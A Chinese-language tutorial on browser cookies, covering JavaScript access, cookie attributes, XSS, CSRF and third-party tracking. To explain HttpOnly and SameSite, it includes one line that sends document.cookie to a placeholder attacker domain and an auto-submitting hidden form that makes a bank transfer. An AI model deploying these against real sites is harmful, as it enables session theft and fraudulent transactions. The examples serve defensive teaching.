這篇文章會介紹什麼是 cookie,教你如何用 JavaScript 讀取及設定 cookie 的方法,以及 Path、Domain、Max-Age、Expires、Secure、HttpOnly、SameSite 等參數的使用方法,最後介紹關於 cookie 的安全性議題。

目錄


Cookies

Cookie 是儲存在瀏覽器的一小段文字資料,通常由伺服器透過 Set-Cookie header 傳遞給瀏覽器。瀏覽器收到後會將 cookie 儲存起來,並在之後的請求回傳 cookie 至同樣的伺服器。

Cookie 最常見的用途之一是認證身份,例如登入狀態、購物車等,也被應用於追蹤使用者及廣告上。

Cookie 也被用於客戶端的儲存方式,但由於 cookie 會被附加在每一次的 request 之中,可能會影響效能,所以如果是不需要記錄在 server 的資訊,可以改用 storage API。

Server 可以在 HTTP response 中回傳 Set-Cookie header 來告訴瀏覽器要設定 cookie。設定的語法如下:

Set-Cookie: [cookie名稱]=[cookie值]

瀏覽器看到 Set-Cookie header 便會將 cookie 儲存起來,之後對同一個 domain 發送 HTTP request 的時候,瀏覽器就會將 cookie 帶在 HTTP request 的 Cookie header 裡。

Request 中的 cookie header 會是 [cookie名稱]=[cookie值] 的形式,用分號串接之後的結果:

Cookie: [cookie1]=[value1]; [cookie2]=[value2]

在 JavaScript 中,想要讀取 cookie 可用 document.cookie:

console.log(document.cookie);

讀取出來的 document.cookie 會得到一個字串,這個字串是將這個網域底下所有 cookie 用分號串接以後的結果,其中每個 cookie 都是 [cookie名稱]=[cookie值] 的形式,例如:name=John; gender=male 表示這個網域底下有兩個 cookie:namegender,其中 name 的值是 John,而 gender 的值是 male

那要如何讀取特定 cookie 的值,例如:如何從 name=John; gender=male 的字串得到 namegender 這兩個 cookie 的值呢?我們可以試著自己寫一個函式 parse,或是利用較為成熟的第三方套件,例如:cookie等。

// Reference: https://stackoverflow.com/questions/10730362/get-cookie-by-name
function getCookie(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
}

用 JavaScript 寫入 cookie 的方式是 document.cookie = 'key=value;'。注意雖然我們用 document.cookie = ...,但是並不會整個 cookie 都被覆蓋掉,只有我們指定的 key 會被更新。如下面的例子,cookie3 會被新增的同時,原本的 cookie1cookie2 都還會保留著。

console.log(document.cookie); // cookie1=value1; cookie2=value2;
document.cookie = 'cookie3=value3';
console.log(document.cookie); // cookie1=value1; cookie2=value2; cookie3=value3;

Cookie 除了名稱和值之外,通常還需要設定其他額外參數,下面會一一介紹。新增參數的方式是用分號區隔各個參數,例如:

user=John; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT

簡單地說,我們會用 DomainPath 指定 cookie 的可用範圍,用 ExpiresMax-Age 控制 cookie 的有效期限,而 HttpOnlySecure、和 SameSite 則是和安全性相關的參數。

Domain

domain=example.com

domain 用來指定哪些網域可以存取這個 cookie。

預設值是當前網域,但是不包含其子網域。例如在 example.com 底下設置的 cookie 不指定 domain 的情況下,只有 example.com 可以存取此 cookie,但子網域如 subdomain.example.com 則無法存取此 cookie。

如果我們想要讓子網域存取 cookie,就必須明確地設定 domain 參數。例如:當一個 cookie 指定 domain=example.com 時,包含 example.com 以及他的子網域 subdomain.example.com 都能夠存取這個 cookie。

Path

path=/admin

path 參數用來指定哪些路徑可以存取這個 cookie。

例如:假設 domain 是 example.com,且 path=/admin,則 example.com/admin 或是子路徑 example.com/admin/settings 都可以存取此 cookie,但 example.com 或是 example.com/home 則無法存取此 cookie。

Path 的預設值是當前的路徑。

一般而言來說,認證用途的 cookie 會設成 path=/,讓全站都可以存取此 cookie,如此一來不管你在網站的哪個路徑下,server 都能認得你的身份。

Expires, Max-age

expires, max-age 參數的作用是設定 cookie 的有效期限。

如果沒有額外設定 expires 或是 max-age 參數,當瀏覽器關閉之後,儲存在瀏覽器的 cookie 便會消失,這就是所謂的 session cookie

如果我們希望瀏覽器關掉之後 cookie 還是會被儲存下來,那就必須設定 expires 或是 max-age

expires 是 UTC 格式表示的有效期限,在 JavaScript 中可用 date.toUTCString() 取得:

cookie=value; expires=Tue, 19 Jan 2038 03:14:07 GMT

max-age 表示從設定開始算之後幾秒之內 cookie 是有效的:

cookie=value; max-age=3600

Secure

Secure 參數的作用是讓 cookie 只能透過 https 傳遞。

Cookie 預設是不區分 http 或是 https 的。換句話說,當我們設定 http://example.com 的 cookie 時,https://example.com 也能看得到同樣的 cookie。

如果 cookie 設了 secure 參數,只有透過 https 存取這個網站才能存取這個 cookie;透過 http 存取這個網站會看不到這個 cookie。

這個參數的作用在於保護 cookie 只能在 https 傳遞。話雖如此,我們還是不能將敏感資訊儲存在 cookie 中。

HttpOnly

HttpOnly 參數的作用是防止 JavaScript 存取 cookie。

當一個 cookie 設置了 httpOnly 的屬性之後,JavaScript 就不能存取這個 cookie,但是瀏覽器在發送 request 的時候還是會幫你帶在 request header 裡面。

這個參數的設計是為了安全性考量,因為如果 JavaScript 能夠存取這個 cookie 就有受到 XSS Attack (Cross-Site Scripting,跨站腳本攻擊) 的風險。

什麼是 XSS Attack (跨站腳本攻擊) 呢?簡單的說,就是將一段惡意的 JavaScript 程式碼透過表單等方式上傳到 server,之後這份表單資料在前端呈現的時候惡意的 JavaScript 程式碼會被當成是 HTML 的一部分被執行。假設壞人能夠執行 JavaScript,便能很輕易地存取 document.cookie,就能夠竊取你用來登入的 cookie,並且用你的身份做惡意的操作:

// 把你的 cookie 送到壞人的伺服器
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

這就是為什麼我們需要禁止 JavaScript 存取 cookie。

SameSite

Samesite 的作用是防止 cookie 以跨站方式傳送,可以幫助避免 CSRF (Cross-Site Request Forgery,跨站請求偽造) 攻擊。要理解 SameSite 如何幫助防止 CSRF 攻擊之前,我們需要先理解 CSRF 攻擊。

CSRF 攻擊是什麼呢?簡單地說,他會在受害者已登入的狀態下,假借受害者的身份進行惡意操作,例如把受害者銀行裡的錢轉到攻擊者自己的帳戶中。

那具體而言 CSRF 攻擊如何進行?

  1. 假設含有使用者的機敏資訊網站叫做 bank.com,使用者成功登入 bank.com 後會收到一個加密過後的代表他的身份的 cookie,後續的 request 都會帶有這個 cookie。因為 cookie 經過加密無法輕易偽造,所以 server 可以認證 request 是來自這個使用者本人,也會同意他的轉帳等敏感操作。
  2. 壞人透過釣魚信件等方式讓你不小心進到壞人的網站 evil.com,網頁包含一小段發送表單的代碼,會把 bank.com 的錢轉到壞人的戶頭:
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="account" value="john">
  <input type="hidden" name="amount" value="1000000">
  <input type="hidden" name="for" value="badguy">
</form>
<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>

因為送往 bank.com 的 request 都會帶有用來表示身份的 cookie,包含發送表單的 POST request,所以 server 會認為這個 request 沒有問題,然後錢就轉給壞人了~

註:一般而言會在表單中多帶一個 server 產生的 CSRF token 去防範此攻擊,但與 SameSite 兩個防護措施可同時並行。

註:在 evil.com 內發送 bank.com 的請求的情境下,back.com 的 cookie 就是所謂的第三方 cookie

這裡的關鍵是:這個 POST 是一個跨域請求。什麼是跨域請求呢?當一個請求的網域和網址列中的網域不同的時候,它就是一個跨域請求。這裏我們可以看到,瀏覽器的網址列中的網域是 evil.com,但是我們送了一個往 bank.com 網域的 POST request,所以這是一個跨域請求。

而跨域請求攜帶 cookie 就會有遭受 CSRF 攻擊的風險。

那我們再回來看 SameSite 參數如何協助我們防範 CSRF 攻擊。

SameSite 一共有三種不同的設定,分別對應不同的安全性層級:

  • SameSite=strict

Strict 表示 request 的網域必須跟網址列中的網域相同,才會發送這個 cookie。以上面的例子而言,發送轉帳的 POST 請求時,因為屬於跨域請求的關係,並不會攜帶表示身份的 cookie,就不會受到 CSRF 攻擊

比較特別的一點是,如果是從 email 導過去 bank.com,SameSite cookie 也不會被發送給 server。這可以保護使用者不會因為點了釣魚信件的連結就轉帳給壞人。缺點是,即使信件確實是來自 bank.com,也一律需要使用者重新登入,相對而言較為不方便。所以這個設置比較適合用於敏感操作上,例如轉帳、修改密碼等。

  • SameSite=lax

Lax cookie 和 strict 相比之下限制比較寬鬆一些。瀏覽器發送跨網域的 request 一樣不會攜帶 lax cookie,除了導向目標網址的 GET request。

所以單純地在瀏覽器開啟連結,或是從 email 點開連結會攜帶 lax cookie。

注意:從Chrome 76 開始,預設值為 SameSite=lax。這意味著第三方 cookie 在沒有明確地設定 SameSite 的情況下會失效。

  • SameSite=none

跨域的情況下還是會送出 cookie。注意:從Chrome 80 開始,使用這個選項必須同時開啟 Secure 參數。如果你的產品仰賴第三方 cookie,例如廣告、iframe 嵌入套件等,應該要使用這個選項。

大家應該很常會聽到「第三方 cookie」這個名詞,它到底是什麼意思?下面簡單補充一下。

網頁很多時候會需要向其他網域請求資源,例如:我們可能會用 <img src="..."> 的方式嵌入一張其他網域的圖片。這些 request 也可以攜帶 cookie,攜帶哪些 cookie 主要會根據資源的網域。

舉個例子說明:假設我現在瀏覽 example.com,其中包含一張圖片 <img src="https://example.com/image.png">,此時攜帶的 cookie 就會是 example.com 底下的 cookie。因為這個請求的網域和網址列的網域同樣都是 example.com,所以這是一個相同網域的請求。此時 example.com 底下的 cookie 又稱作第一方 cookie (first-party cookie)。

如果 example.com 包含另外一張圖片 <img src="https://ad.com/image.png">,他的網域是 ad.com,此時攜帶的 cookie 就會是 ad.com 底下的 cookie。因為 ad.com 不同於網址列的 example.com,所以這是一個跨域請求。此時 ad.com 底下的 cookie 又稱作第三方 cookie (third-party cookie)。

第三方 cookie 為什麼重要呢?因為他能夠跨網域的追蹤。舉例來說,example.com 發出 ad.com 的請求時,會攜帶 ad.com 的 cookie。如果同時有另一個網域 anothersite.com 也會請求 ad.com 的資源,也會攜帶同樣的 cookie。如果這個 cookie 是用來表示使用者 id,則對 ad.com 而言不管在哪個網域底下,他都知道兩個網站的造訪者都是你。這就是廣告追蹤的原理。

這就是為什麼在隱私權意識抬頭的今天,大家對第三方 cookie 的限制越來越多:在寫這篇文的當下,在 Chrome 你必須要明確地標示 SameSite=None; Secure,否則預設情況下 SameSite=Lax,第三方 cookie 是不會被發送的。而 Safari 直接完全禁止第三方 cookie。

Reference

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